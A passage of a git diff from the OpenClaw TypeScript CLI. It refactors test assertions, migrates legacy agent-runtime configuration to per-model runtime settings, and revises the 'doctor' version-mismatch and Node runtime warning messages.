expect(cliChoices).toContain("ollama"); }); @@ -415,9 +415,9 @@ describe("buildAuthChoiceOptions", () => { const litellmGroup = requireChoiceGroup(groups, "litellm"); const ollamaGroup = requireChoiceGroup(groups, "ollama"); - expect(chutesGroup.options.some((opt) => opt.value === "chutes")).toBe(true); - expect(litellmGroup.options.some((opt) => opt.value === "litellm-api-key")).toBe(true); - expect(ollamaGroup.options.some((opt) => opt.value === "ollama")).toBe(true); + expect(chutesGroup.options.map((option) => option.value)).toContain("chutes"); + expect(litellmGroup.options.map((option) => option.value)).toContain("litellm-api-key"); + expect(ollamaGroup.options.map((option) => option.value)).toContain("ollama"); }); it("prefers Anthropic Claude CLI over API key in grouped selection", () => { @@ -519,8 +519,9 @@ describe("buildAuthChoiceOptions", () => { }); const openCodeGroup = requireChoiceGroup(groups, "opencode"); - expect(openCodeGroup.options.some((opt) => opt.value === "opencode-zen")).toBe(true); - expect(openCodeGroup.options.some((opt) => opt.value === "opencode-go")).toBe(true); + expect(openCodeGroup.options.map((option) => option.value)).toEqual( + expect.arrayContaining(["opencode-zen", "opencode-go"]), + ); }); it("hides image-generation-only providers from the interactive auth picker", () => { @@ -562,10 +563,10 @@ describe("buildAuthChoiceOptions", () => { ]); const options = getOptions(); + const optionValues = options.map((option) => option.value); - expect(options.some((option) => option.value === "openai-api-key")).toBe(true); - expect(options.some((option) => option.value === "ollama")).toBe(true); - expect(options.some((option) => option.value === "fal-api-key")).toBe(false); - expect(options.some((option) => option.value === "local-image-runtime")).toBe(false); + expect(optionValues).toEqual(expect.arrayContaining(["openai-api-key", "ollama"])); + expect(optionValues).not.toContain("fal-api-key"); + expect(optionValues).not.toContain("local-image-runtime"); }); }); diff --git a/src/commands/backup.test.ts b/src/commands/backup.test.ts index f1fa96d5c98..fef97a24821 100644 --- a/src/commands/backup.test.ts +++ b/src/commands/backup.test.ts @@ -244,17 +244,17 @@ describe("backup commands", () => { path.posix.join( buildBackupArchiveRoot(nowMs), "payload", - encodeAbsolutePathForBackupArchive(stateAsset!.sourcePath), + encodeAbsolutePathForBackupArchive(stateAsset.sourcePath), ), ); - const remappedWorkspaceEntry = { path: workspaceAsset!.sourcePath }; + const remappedWorkspaceEntry = { path: workspaceAsset.sourcePath }; onWriteEntry(remappedWorkspaceEntry); expect(remappedWorkspaceEntry.path).toBe( path.posix.join( buildBackupArchiveRoot(nowMs), "payload", - encodeAbsolutePathForBackupArchive(workspaceAsset!.sourcePath), + encodeAbsolutePathForBackupArchive(workspaceAsset.sourcePath), ), ); } finally { @@ -385,7 +385,7 @@ describe("backup commands", () => { }); expect(result.includeWorkspace).toBe(false); - expect(result.assets.some((asset) => asset.kind === "workspace")).toBe(false); + expect(result.assets.map((asset) => asset.kind)).not.toContain("workspace"); const configOnly = await backupCreateCommand(runtime, { dryRun: true, diff --git a/src/commands/channel-account-context.test.ts b/src/commands/channel-account-context.test.ts index be08903c509..f806dd6ea40 100644 --- a/src/commands/channel-account-context.test.ts +++ b/src/commands/channel-account-context.test.ts @@ -76,8 +76,8 @@ describe("resolveDefaultChannelAccountContext", () => { expect(result.enabled).toBe(false); expect(result.configured).toBe(false); expect(result.degraded).toBe(true); - expect(result.diagnostics.some((entry) => entry.includes("failed to resolve account"))).toBe( - true, + expect(result.diagnostics).toEqual( + expect.arrayContaining([expect.stringContaining("failed to resolve account")]), ); }); diff --git a/src/commands/channel-setup/registry.test.ts b/src/commands/channel-setup/registry.test.ts index aa483678bd3..66c66ffa41a 100644 --- a/src/commands/channel-setup/registry.test.ts +++ b/src/commands/channel-setup/registry.test.ts @@ -53,6 +53,7 @@ describe("resolveChannelSetupWizardAdapterForPlugin", () => { options: {}, accountOverrides: { demo: "default" }, shouldPromptAccountIds: false, + forceAllowFrom: false, }), ).resolves.toMatchObject({ accountId: "default", diff --git a/src/commands/channels.status.command-flow.test.ts b/src/commands/channels.status.command-flow.test.ts index ddba5622b56..e5c0512c47d 100644 --- a/src/commands/channels.status.command-flow.test.ts +++ b/src/commands/channels.status.command-flow.test.ts @@ -224,7 +224,9 @@ describe("channelsStatusCommand SecretRef fallback flow", () => { await channelsStatusCommand({ probe: false }, runtime as never); - expect(errors.some((line) => line.includes("Gateway not reachable"))).toBe(true); + expect(errors).toEqual( + expect.arrayContaining([expect.stringContaining("Gateway not reachable")]), + ); expect(mocks.resolveCommandConfigWithSecrets).toHaveBeenCalledWith( expect.objectContaining({ commandName: "channels status", diff --git a/src/commands/cleanup-utils.test.ts b/src/commands/cleanup-utils.test.ts index 894b6507681..3007729b845 100644 --- a/src/commands/cleanup-utils.test.ts +++ b/src/commands/cleanup-utils.test.ts @@ -54,6 +54,18 @@ describe("applyAgentDefaultPrimaryModel", () => { expect(result.changed).toBe(false); expect(result.next).toBe(cfg); }); + + it("normalizes retired Google Gemini primary models before writing config", () => { + const cfg = { agents: { defaults: {} } } as OpenClawConfig; + const result = applyAgentDefaultPrimaryModel({ + cfg, + model: "google/gemini-3-pro-preview", + }); + expect(result.changed).toBe(true); + expect(result.next.agents?.defaults?.model).toEqual({ + primary: "google/gemini-3.1-pro-preview", + }); + }); }); describe("cleanup path removals", () => { diff --git a/src/commands/doctor-claude-cli.test.ts b/src/commands/doctor-claude-cli.test.ts index ed9ef82a195..22736b43a71 100644 --- a/src/commands/doctor-claude-cli.test.ts +++ b/src/commands/doctor-claude-cli.test.ts @@ -130,7 +130,6 @@ describe("noteClaudeCliHealth", () => { { agents: { defaults: { - agentRuntime: { id: "codex" }, model: { primary: "openai/gpt-5.5" }, }, list: [ @@ -138,13 +137,14 @@ describe("noteClaudeCliHealth", () => { id: "coder", default: true, workspace: defaultWorkspace, - agentRuntime: { id: "codex" }, }, { id: "xiaoao", workspace: claudeWorkspace, - agentRuntime: { id: "claude-cli" }, model: "anthropic/claude-opus-4-7", + models: { + "anthropic/claude-opus-4-7": { agentRuntime: { id: "claude-cli" } }, + }, }, ], }, diff --git a/src/commands/doctor-claude-cli.ts b/src/commands/doctor-claude-cli.ts index 1434fa07e25..7bbee3dadcd 100644 --- a/src/commands/doctor-claude-cli.ts +++ b/src/commands/doctor-claude-cli.ts @@ -1,7 +1,7 @@ import fs from "node:fs"; import os from "node:os"; import path from "node:path"; -import { resolveAgentRuntimeMetadata } from "../agents/agent-runtime-metadata.js"; +import { resolveModelAgentRuntimeMetadata } from "../agents/agent-runtime-metadata.js"; import { listAgentIds, resolveAgentWorkspaceDir, @@ -174,10 +174,10 @@ function formatProjectDirHealthLine( return `- ${label}: ${display} is not writable by this user.`; } -function resolveClaudeCliAgentIds(cfg: OpenClawConfig, env: NodeJS.ProcessEnv): string[] { +function resolveClaudeCliAgentIds(cfg: OpenClawConfig): string[] { const agentIds = listAgentIds(cfg); const runtimeAgentIds = agentIds.filter( - (agentId) => resolveAgentRuntimeMetadata(cfg, agentId, env).id === CLAUDE_CLI_PROVIDER, + (agentId) => resolveModelAgentRuntimeMetadata({ cfg, agentId }).id === CLAUDE_CLI_PROVIDER, ); if (runtimeAgentIds.length > 0) { return runtimeAgentIds; @@ -202,7 +202,7 @@ function resolveClaudeCliWorkspaceTargets(params: { homeDir?: string; workspaceDir?: string; }): ClaudeCliWorkspaceTarget[] { - const agentIds = resolveClaudeCliAgentIds(params.cfg, params.env); + const agentIds = resolveClaudeCliAgentIds(params.cfg); const defaultAgentId = resolveDefaultAgentId(params.cfg); const seen = new Set(); return agentIds diff --git a/src/commands/doctor-config-preflight.test.ts b/src/commands/doctor-config-preflight.test.ts index bc08bb5ee52..c5ab9c44fc6 100644 --- a/src/commands/doctor-config-preflight.test.ts +++ b/src/commands/doctor-config-preflight.test.ts @@ -21,9 +21,7 @@ describe("runDoctorConfigPreflight", () => { }); expect(preflight.snapshot.valid).toBe(false); - expect(preflight.snapshot.legacyIssues.some((issue) => issue.path === "memorySearch")).toBe( - true, - ); + expect(preflight.snapshot.legacyIssues.map((issue) => issue.path)).toContain("memorySearch"); expect((preflight.baseConfig as { memorySearch?: unknown }).memorySearch).toMatchObject({ provider: "local", fallback: "none", diff --git a/src/commands/doctor-gateway-health.test.ts b/src/commands/doctor-gateway-health.test.ts index 1b91be47b93..6b2ecd90abe 100644 --- a/src/commands/doctor-gateway-health.test.ts +++ b/src/commands/doctor-gateway-health.test.ts @@ -49,10 +49,10 @@ describe("checkGatewayHealth", () => { timeoutMs: 6000, }); expect(runtime.error).not.toHaveBeenCalled(); - expect(note).not.toHaveBeenCalledWith(expect.any(String), "Gateway version skew"); + expect(note).not.toHaveBeenCalledWith(expect.any(String), "OpenClaw version mismatch"); }); - it("notes CLI and gateway version skew when the gateway reports another runtime version", async () => { + it("notes CLI and gateway version mismatch when the gateway reports another runtime version", async () => { callGateway.mockResolvedValueOnce({ runtimeVersion: "2026.4.23" }).mockResolvedValueOnce({}); const runtime = { log: vi.fn(), error: vi.fn(), exit: vi.fn() }; @@ -61,12 +61,22 @@ describe("checkGatewayHealth", () => { ).resolves.toEqual({ healthOk: true, status: { runtimeVersion: "2026.4.23" } }); expect(note).toHaveBeenCalledWith( - expect.stringContaining("Gateway version: 2026.4.23"), - "Gateway version skew", + expect.stringContaining("the running Gateway is OpenClaw 2026.4.23"), + "OpenClaw version mismatch", ); expect(note).toHaveBeenCalledWith( - expect.stringContaining("stale global wrapper"), - "Gateway version skew", + expect.not.stringContaining("That usually means"), + "OpenClaw version mismatch", + ); + expect(note).toHaveBeenCalledWith( + expect.stringContaining("Check `openclaw --version`, `which openclaw`"), + "OpenClaw version mismatch", + ); + expect(note).toHaveBeenCalledWith( + expect.stringContaining( + "If this mismatch is unexpected, update PATH so `openclaw` points to the version you want", + ), + "OpenClaw version mismatch", ); }); diff --git a/src/commands/doctor-gateway-health.ts b/src/commands/doctor-gateway-health.ts index 77f222aac9e..160aca96388 100644 --- a/src/commands/doctor-gateway-health.ts +++ b/src/commands/doctor-gateway-health.ts @@ -33,12 +33,11 @@ function noteCliGatewayVersionSkew(status: StatusSummary | undefined): void { } note( [ - `CLI version: ${VERSION}`, - `Gateway version: ${gatewayVersion}`, - "The CLI and running gateway are different versions. This can happen when PATH points at a stale global wrapper while the service runs a newer install.", - 'Fix: run `openclaw gateway status --deep`; check `command -v openclaw`, `readlink -f "$(command -v openclaw)"`, and `openclaw --version`; reinstall the gateway service from the intended binary if needed.', + `This command is OpenClaw ${VERSION}; the running Gateway is OpenClaw ${gatewayVersion}.`, + "Check `openclaw --version`, `which openclaw`, and `openclaw gateway status --deep`.", + "If this mismatch is unexpected, update PATH so `openclaw` points to the version you want, or reinstall the Gateway service from that same OpenClaw install.", ].join("\n"), - "Gateway version skew", + "OpenClaw version mismatch", ); } diff --git a/src/commands/doctor-gateway-services.test.ts b/src/commands/doctor-gateway-services.test.ts index 1077dec26b8..1f3b71f3e31 100644 --- a/src/commands/doctor-gateway-services.test.ts +++ b/src/commands/doctor-gateway-services.test.ts @@ -38,6 +38,9 @@ const mocks = vi.hoisted(() => ({ resolveIsNixMode: vi.fn(() => false), findExtraGatewayServices: vi.fn().mockResolvedValue([]), renderGatewayServiceCleanupHints: vi.fn().mockReturnValue([]), + needsNodeRuntimeMigration: vi.fn(() => false), + renderSystemNodeWarning: vi.fn().mockReturnValue(undefined), + resolveSystemNodeInfo: vi.fn().mockResolvedValue(null), isSystemdUnitActive: vi.fn().mockResolvedValue(false), uninstallLegacySystemdUnits: vi.fn().mockResolvedValue([]), note: vi.fn(), @@ -62,13 +65,13 @@ vi.mock("../daemon/inspect.js", () => ({ })); vi.mock("../daemon/runtime-paths.js", () => ({ - renderSystemNodeWarning: vi.fn().mockReturnValue(undefined), - resolveSystemNodeInfo: vi.fn().mockResolvedValue(null), + renderSystemNodeWarning: mocks.renderSystemNodeWarning, + resolveSystemNodeInfo: mocks.resolveSystemNodeInfo, })); vi.mock("../daemon/service-audit.js", () => ({ auditGatewayServiceConfig: mocks.auditGatewayServiceConfig, - needsNodeRuntimeMigration: vi.fn(() => false), + needsNodeRuntimeMigration: mocks.needsNodeRuntimeMigration, readEmbeddedGatewayToken: readEmbeddedGatewayTokenForTest, SERVICE_AUDIT_CODES: { gatewayCommandMissing: testServiceAuditCodes.gatewayCommandMissing, @@ -246,6 +249,9 @@ describe("maybeRepairGatewayServiceConfig", () => { vi.clearAllMocks(); fsMocks.realpath.mockImplementation(async (value: string) => value); mocks.resolveGatewayPort.mockReturnValue(18789); + mocks.needsNodeRuntimeMigration.mockReturnValue(false); + mocks.renderSystemNodeWarning.mockReturnValue(undefined); + mocks.resolveSystemNodeInfo.mockResolvedValue(null); mocks.isSystemdUnitActive.mockResolvedValue(false); mocks.resolveGatewayAuthTokenForService.mockImplementation(async (cfg: OpenClawConfig, env) => { const configToken = @@ -303,6 +309,50 @@ describe("maybeRepairGatewayServiceConfig", () => { expect(mocks.install).toHaveBeenCalledTimes(1); }); + it("does not duplicate gateway runtime warnings already emitted by the node install plan", async () => { + const nvmNode = "/home/orin/.nvm/versions/node/v22.22.2/bin/node"; + mocks.readCommand.mockResolvedValue({ + programArguments: [nvmNode, "/usr/local/bin/openclaw", "gateway", "--port", "18789"], + environment: {}, + }); + mocks.buildGatewayInstallPlan.mockImplementation(async ({ warn }) => { + warn?.( + "System Node 20.20.2 at /usr/bin/node is below the required Node 22.16+. Using /home/orin/.nvm/versions/node/v22.22.2/bin/node for the daemon.", + "Gateway runtime", + ); + return { + programArguments: [nvmNode, "/usr/local/bin/openclaw", "gateway", "--port", "18789"], + workingDirectory: "/tmp", + environment: {}, + }; + }); + mocks.auditGatewayServiceConfig.mockResolvedValue({ + ok: true, + issues: [{ code: "runtime", message: "runtime migration", level: "recommended" }], + }); + mocks.needsNodeRuntimeMigration.mockReturnValue(true); + mocks.resolveSystemNodeInfo.mockResolvedValue({ + path: "/usr/bin/node", + version: "20.20.2", + supported: false, + }); + mocks.renderSystemNodeWarning.mockReturnValue("duplicate doctor runtime warning"); + + await runRepair({ gateway: {} }); + + const runtimeNotes = mocks.note.mock.calls.filter(([, title]) => title === "Gateway runtime"); + const runtimeMessages = runtimeNotes.map(([message]) => message); + expect(runtimeMessages).not.toContain("duplicate doctor runtime warning"); + expect(runtimeMessages).not.toEqual( + expect.arrayContaining([expect.stringContaining("not found")]), + ); + expect(runtimeMessages).toEqual( + expect.arrayContaining([ + expect.stringContaining("Using /home/orin/.nvm/versions/node/v22.22.2/bin/node"), + ]), + ); + }); + it("passes planned managed env keys into service audit for legacy inline secret detection", async () => { mocks.readCommand.mockResolvedValue({ programArguments: gatewayProgramArguments, diff --git a/src/commands/doctor-gateway-services.ts b/src/commands/doctor-gateway-services.ts index 23e8e78eefb..822c537d826 100644 --- a/src/commands/doctor-gateway-services.ts +++ b/src/commands/doctor-gateway-services.ts @@ -422,15 +422,16 @@ export async function maybeRepairGatewayServiceConfig( ? await resolveSystemNodeInfo({ env: process.env }) : null; const systemNodePath = systemNodeInfo?.supported ? systemNodeInfo.path : null; - if (needsNodeRuntime && !systemNodePath) { + if (needsNodeRuntime && !systemNodePath && runtimeChoice !== "node") { const warning = renderSystemNodeWarning(systemNodeInfo); if (warning) { note(warning, "Gateway runtime"); + } else { + note( + "System Node 22 LTS (22.16+) or Node 24 not found. Install via Homebrew/apt/choco and rerun doctor to migrate off Bun/version managers.", + "Gateway runtime", + ); } - note( - "System Node 22 LTS (22.16+) or Node 24 not found. Install via Homebrew/apt/choco and rerun doctor to migrate off Bun/version managers.", - "Gateway runtime", - ); } const expectedRuntimePlan = diff --git a/src/commands/doctor-legacy-config.migrations.test.ts b/src/commands/doctor-legacy-config.migrations.test.ts index 9b3c1ff6268..047bd488ca3 100644 --- a/src/commands/doctor-legacy-config.migrations.test.ts +++ b/src/commands/doctor-legacy-config.migrations.test.ts @@ -526,7 +526,7 @@ describe("normalizeCompatibilityConfigValues", () => { expect(res.changes).toEqual([]); }); - it("migrates legacy Codex primary refs to OpenAI refs plus explicit Codex runtime", () => { + it("migrates legacy Codex primary refs to OpenAI refs without agent runtime pins", () => { const res = normalizeCompatibilityConfigValues({ agents: { defaults: { @@ -554,9 +554,7 @@ describe("normalizeCompatibilityConfigValues", () => { primary: "openai/gpt-5.5", fallbacks: ["anthropic/claude-sonnet-4-6", "openai/gpt-5.4-mini"], }); - expect(res.config.agents?.defaults?.agentRuntime).toEqual({ - id: "codex", - }); + expect(res.config.agents?.defaults?.agentRuntime).toEqual({ id: "auto" }); expect(res.config.agents?.defaults?.models).toEqual({ "codex/gpt-5.5": { alias: "legacy-codex" }, "openai/gpt-5.5": { alias: "gpt", params: { temperature: 0.2 } }, @@ -565,7 +563,6 @@ describe("normalizeCompatibilityConfigValues", () => { }); expect(res.config.agents?.list?.[0]).toMatchObject({ id: "reviewer", - agentRuntime: { id: "codex" }, model: "openai/gpt-5.4-mini", }); expect(res.changes).toEqual( @@ -598,7 +595,7 @@ describe("normalizeCompatibilityConfigValues", () => { expect(res.changes).toEqual([]); }); - it("migrates legacy Claude CLI primary refs to Anthropic refs plus explicit runtime", () => { + it("migrates legacy Claude CLI primary refs to Anthropic refs plus model runtime", () => { const res = normalizeCompatibilityConfigValues({ agents: { defaults: { @@ -618,14 +615,20 @@ describe("normalizeCompatibilityConfigValues", () => { primary: "anthropic/claude-opus-4-7", fallbacks: ["anthropic/claude-sonnet-4-6"], }); - expect(res.config.agents?.defaults?.agentRuntime).toEqual({ id: "claude-cli" }); + expect(res.config.agents?.defaults?.agentRuntime).toBeUndefined(); expect(res.config.agents?.defaults?.models).toEqual({ "claude-cli/claude-opus-4-7": { alias: "Opus" }, - "anthropic/claude-opus-4-7": { alias: "Anthropic Opus" }, + "anthropic/claude-opus-4-7": { + alias: "Anthropic Opus", + agentRuntime: { id: "claude-cli" }, + }, + "anthropic/claude-sonnet-4-6": { + agentRuntime: { id: "claude-cli" }, + }, }); }); - it("migrates legacy Codex CLI primary refs to OpenAI refs plus explicit runtime", () => { + it("migrates legacy Codex CLI primary refs to OpenAI refs plus model runtime", () => { const res = normalizeCompatibilityConfigValues({ agents: { defaults: { @@ -645,23 +648,29 @@ describe("normalizeCompatibilityConfigValues", () => { primary: "openai/gpt-5.5", fallbacks: ["openai/gpt-5.4-mini"], }); - expect(res.config.agents?.defaults?.agentRuntime).toEqual({ id: "codex-cli" }); + expect(res.config.agents?.defaults?.agentRuntime).toBeUndefined(); expect(res.config.agents?.defaults?.models).toEqual({ "codex-cli/gpt-5.5": { alias: "Codex CLI" }, - "openai/gpt-5.5": { alias: "OpenAI GPT" }, + "openai/gpt-5.5": { + alias: "OpenAI GPT", + agentRuntime: { id: "codex-cli" }, + }, + "openai/gpt-5.4-mini": { + agentRuntime: { id: "codex-cli" }, + }, }); }); - it("migrates legacy Gemini CLI primary refs to Google refs plus explicit runtime", () => { + it("migrates legacy Gemini CLI primary refs to Google refs plus model runtime", () => { const res = normalizeCompatibilityConfigValues({ agents: { defaults: { model: { - primary: "google-gemini-cli/gemini-3.1-pro-preview", + primary: "google-gemini-cli/gemini-3-pro-preview", fallbacks: ["google-gemini-cli/gemini-3-flash-preview"], }, models: { - "google-gemini-cli/gemini-3.1-pro-preview": { alias: "Gemini CLI" }, + "google-gemini-cli/gemini-3-pro-preview": { alias: "Gemini CLI" }, "google/gemini-3.1-pro-preview": { alias: "Gemini API" }, }, }, @@ -672,12 +681,16 @@ describe("normalizeCompatibilityConfigValues", () => { primary: "google/gemini-3.1-pro-preview", fallbacks: ["google/gemini-3-flash-preview"], }); - expect(res.config.agents?.defaults?.agentRuntime).toEqual({ - id: "google-gemini-cli", - }); + expect(res.config.agents?.defaults?.agentRuntime).toBeUndefined(); expect(res.config.agents?.defaults?.models).toEqual({ - "google-gemini-cli/gemini-3.1-pro-preview": { alias: "Gemini CLI" }, - "google/gemini-3.1-pro-preview": { alias: "Gemini API" }, + "google-gemini-cli/gemini-3-pro-preview": { alias: "Gemini CLI" }, + "google/gemini-3.1-pro-preview": { + alias: "Gemini API", + agentRuntime: { id: "google-gemini-cli" }, + }, + "google/gemini-3-flash-preview": { + agentRuntime: { id: "google-gemini-cli" }, + }, }); }); diff --git a/src/commands/doctor-session-state-providers.test.ts b/src/commands/doctor-session-state-providers.test.ts index ef9edb661f8..f08b3113d52 100644 --- a/src/commands/doctor-session-state-providers.test.ts +++ b/src/commands/doctor-session-state-providers.test.ts @@ -45,14 +45,22 @@ describe("doctor session state provider routes", () => { ).toBe(true); }); - it("preserves raw configured CLI runtimes before harness policy normalization", () => { + it("preserves configured provider CLI runtimes before harness policy normalization", () => { expect( resolveConfiguredDoctorSessionStateRoute({ cfg: { agents: { defaults: { model: { primary: "openai/gpt-5.5" }, - agentRuntime: { id: "codex-cli" }, + }, + }, + models: { + providers: { + openai: { + baseUrl: "https://api.openai.com/v1", + agentRuntime: { id: "codex-cli" }, + models: [], + }, }, }, }, @@ -66,7 +74,7 @@ describe("doctor session state provider routes", () => { }); }); - it("lets environment CLI runtime overrides reach plugin-owned scanners", () => { + it("ignores legacy environment runtime overrides before plugin-owned scans", () => { expect( resolveConfiguredDoctorSessionStateRoute({ cfg: { @@ -81,7 +89,7 @@ describe("doctor session state provider routes", () => { env: { OPENCLAW_AGENT_RUNTIME: "codex-cli" }, }), ).toMatchObject({ - runtime: "codex-cli", + runtime: "codex", }); }); diff --git a/src/commands/doctor-session-state-providers.ts b/src/commands/doctor-session-state-providers.ts index d180e2f5e5a..99fd02aa3db 100644 --- a/src/commands/doctor-session-state-providers.ts +++ b/src/commands/doctor-session-state-providers.ts @@ -1,6 +1,4 @@ -import { resolveAgentRuntimePolicy } from "../agents/agent-runtime-policy.js"; import { - listAgentEntries, resolveAgentModelFallbacksOverride, resolveDefaultAgentId, } from "../agents/agent-scope.js"; @@ -17,7 +15,6 @@ import { updateSessionStore } from "../config/sessions/store.js"; import type { OpenClawConfig } from "../config/types.openclaw.js"; import { listPluginDoctorSessionRouteStateOwners } from "../plugins/doctor-contract-registry.js"; import type { DoctorSessionRouteStateOwner } from "../plugins/doctor-session-route-state-owner-types.js"; -import { normalizeAgentId } from "../routing/session-key.js"; import { parseAgentSessionKey } from "../sessions/session-key-utils.js"; import { note } from "../terminal/note.js"; @@ -63,27 +60,6 @@ function resolveSessionAgentId(cfg: OpenClawConfig, sessionKey: string): string return parseAgentSessionKey(sessionKey)?.agentId ?? resolveDefaultAgentId(cfg); } -function resolveRawConfiguredRuntime(params: { - cfg: OpenClawConfig; - agentId: string; - env?: NodeJS.ProcessEnv; -}): string | undefined { - const envRuntime = params.env?.OPENCLAW_AGENT_RUNTIME?.trim(); - if (envRuntime) { - return normalizeProviderId(envRuntime); - } - const agentRuntime = resolveAgentRuntimePolicy( - listAgentEntries(params.cfg).find( - (entry) => normalizeAgentId(entry.id) === normalizeAgentId(params.agentId), - ), - )?.id?.trim(); - if (agentRuntime) { - return normalizeProviderId(agentRuntime); - } - const defaultsRuntime = resolveAgentRuntimePolicy(params.cfg.agents?.defaults)?.id?.trim(); - return defaultsRuntime ? normalizeProviderId(defaultsRuntime) : undefined; -} - export function resolveConfiguredDoctorSessionStateRoute(params: { cfg: OpenClawConfig; sessionKey: string; @@ -108,15 +84,16 @@ export function resolveConfiguredDoctorSessionStateRoute(params: { } } const runtime = resolveAgentHarnessPolicy({ + provider: primary.provider, + modelId: primary.model, config: params.cfg, agentId, sessionKey: params.sessionKey, - env: params.env, }).runtime; return { defaultProvider: primary.provider, configuredModelRefs: [...configuredModelRefs], - runtime: resolveRawConfiguredRuntime({ cfg: params.cfg, agentId, env: params.env }) ?? runtime, + runtime, }; } diff --git a/src/commands/doctor-workspace-status.test.ts b/src/commands/doctor-workspace-status.test.ts index 02b02b94263..93407462dcb 100644 --- a/src/commands/doctor-workspace-status.test.ts +++ b/src/commands/doctor-workspace-status.test.ts @@ -163,7 +163,7 @@ describe("noteWorkspaceStatus", () => { }), ); try { - expect(noteSpy.mock.calls.some(([, title]) => title === "Plugin compatibility")).toBe(false); + expect(noteSpy.mock.calls.map(([, title]) => title)).not.toContain("Plugin compatibility"); } finally { noteSpy.mockRestore(); } diff --git a/src/commands/doctor/repair-sequencing.test.ts b/src/commands/doctor/repair-sequencing.test.ts index d8c19bae140..74212fe0afc 100644 --- a/src/commands/doctor/repair-sequencing.test.ts +++ b/src/commands/doctor/repair-sequencing.test.ts @@ -397,11 +397,11 @@ describe("doctor repair sequencing", () => { ); }); - it("moves legacy Codex routes to Codex before missing plugin install repair", async () => { + it("moves legacy Codex routes to canonical OpenAI before missing plugin install repair", async () => { mocks.repairMissingConfiguredPluginInstalls.mockImplementationOnce( async (params: { cfg: OpenClawConfig }) => { expect(params.cfg.agents?.defaults?.model).toBe("openai/gpt-5.5"); - expect(params.cfg.agents?.defaults?.agentRuntime).toEqual({ id: "codex" }); + expect(params.cfg.agents?.defaults?.agentRuntime).toBeUndefined(); return { changes: [], warnings: [], @@ -434,9 +434,9 @@ describe("doctor repair sequencing", () => { expect(result.state.pendingChanges).toBe(true); expect(result.state.candidate.agents?.defaults?.model).toBe("openai/gpt-5.5"); - expect(result.state.candidate.agents?.defaults?.agentRuntime).toEqual({ id: "codex" }); + expect(result.state.candidate.agents?.defaults?.agentRuntime).toBeUndefined(); expect(result.changeNotes.join("\n")).toContain( - 'agents.defaults.model: openai-codex/gpt-5.5 -> openai/gpt-5.5; set agentRuntime.id to "codex".', + "agents.defaults.model: openai-codex/gpt-5.5 -> openai/gpt-5.5.", ); expect(result.changeNotes.join("\n")).not.toContain("Installed missing configured plugin"); }); diff --git a/src/commands/doctor/shared/codex-native-assets.ts b/src/commands/doctor/shared/codex-native-assets.ts index ca3f80b841c..298203a5cae 100644 --- a/src/commands/doctor/shared/codex-native-assets.ts +++ b/src/commands/doctor/shared/codex-native-assets.ts @@ -2,6 +2,7 @@ import type { Dirent } from "node:fs"; import fs from "node:fs/promises"; import os from "node:os"; import path from "node:path"; +import { collectConfiguredAgentHarnessRuntimes } from "../../../agents/harness-runtimes.js"; import type { OpenClawConfig } from "../../../config/types.openclaw.js"; export type CodexNativeAssetHit = { @@ -113,16 +114,7 @@ async function discoverPluginHits(root: string): Promise } function isCodexRuntimeConfigured(cfg: OpenClawConfig, env: NodeJS.ProcessEnv): boolean { - if (normalizeString(env.OPENCLAW_AGENT_RUNTIME) === "codex") { - return true; - } - const defaults = cfg.agents?.defaults; - if (normalizeString(defaults?.agentRuntime?.id) === "codex") { - return true; - } - return (cfg.agents?.list ?? []).some( - (agent) => normalizeString(agent.agentRuntime?.id) === "codex", - ); + return collectConfiguredAgentHarnessRuntimes(cfg, env).includes("codex"); } function isCodexPluginConfigured(cfg: OpenClawConfig): boolean { diff --git a/src/commands/doctor/shared/codex-route-warnings.test.ts b/src/commands/doctor/shared/codex-route-warnings.test.ts index 9c28420ea6b..72b29472ae4 100644 --- a/src/commands/doctor/shared/codex-route-warnings.test.ts +++ b/src/commands/doctor/shared/codex-route-warnings.test.ts @@ -67,8 +67,7 @@ describe("collectCodexRouteWarnings", () => { expect(warnings).toEqual([expect.stringContaining("Legacy `openai-codex/*`")]); expect(warnings[0]).toContain("agents.defaults.model"); expect(warnings[0]).toContain("openai/gpt-5.5"); - expect(warnings[0]).toContain('runtime is "codex"'); - expect(warnings[0]).toContain('agentRuntime.id: "codex"'); + expect(warnings[0]).not.toContain("agentRuntime.id"); }); it("still warns when the native Codex runtime is selected with a legacy model ref", () => { @@ -120,7 +119,7 @@ describe("collectCodexRouteWarnings", () => { expect(warnings).toEqual([]); }); - it("repairs configured Codex model refs to canonical OpenAI refs with the Codex runtime when ready", () => { + it("repairs configured Codex model refs to canonical OpenAI refs without pinning runtime", () => { const result = maybeRepairCodexRoutes({ cfg: { agents: { @@ -204,7 +203,7 @@ describe("collectCodexRouteWarnings", () => { }); expect(result.cfg.agents?.defaults?.compaction?.model).toBe("openai/gpt-5.4"); expect(result.cfg.agents?.defaults?.compaction?.memoryFlush?.model).toBe("openai/gpt-5.4-mini"); - expect(result.cfg.agents?.defaults?.agentRuntime).toEqual({ id: "codex" }); + expect(result.cfg.agents?.defaults?.agentRuntime).toBeUndefined(); expect(result.cfg.agents?.defaults?.models).toEqual({ "openai/gpt-5.5": { alias: "codex" }, }); @@ -223,7 +222,7 @@ describe("collectCodexRouteWarnings", () => { expect(result.cfg.messages?.tts?.summaryModel).toBe("openai/gpt-5.4-mini"); }); - it("repairs legacy routes to Codex even when OAuth readiness cannot be proven", () => { + it("repairs legacy routes without requiring OAuth readiness", () => { const result = maybeRepairCodexRoutes({ cfg: { agents: { @@ -236,11 +235,11 @@ describe("collectCodexRouteWarnings", () => { }); expect(result.cfg.agents?.defaults?.model).toBe("openai/gpt-5.5"); - expect(result.cfg.agents?.defaults?.agentRuntime).toEqual({ id: "codex" }); - expect(result.changes.join("\n")).toContain('set agentRuntime.id to "codex"'); + expect(result.cfg.agents?.defaults?.agentRuntime).toBeUndefined(); + expect(result.changes.join("\n")).not.toContain("agentRuntime.id"); }); - it("repairs persisted session route pins to Codex and preserves Codex auth pins", () => { + it("repairs persisted session route refs, clears runtime pins, and preserves auth pins", () => { const store: Record = { main: { sessionId: "s1", @@ -268,7 +267,6 @@ describe("collectCodexRouteWarnings", () => { const result = repairCodexSessionStoreRoutes({ store, - runtime: "codex", now: 123, }); @@ -280,12 +278,12 @@ describe("collectCodexRouteWarnings", () => { providerOverride: "openai", modelOverride: "gpt-5.4", modelOverrideSource: "auto", - agentHarnessId: "codex", - agentRuntimeOverride: "codex", authProfileOverride: "openai-codex:default", authProfileOverrideSource: "auto", authProfileOverrideCompactionCount: 2, }); + expect(store.main.agentHarnessId).toBeUndefined(); + expect(store.main.agentRuntimeOverride).toBeUndefined(); expect(store.main.fallbackNoticeSelectedModel).toBeUndefined(); expect(store.main.fallbackNoticeActiveModel).toBeUndefined(); 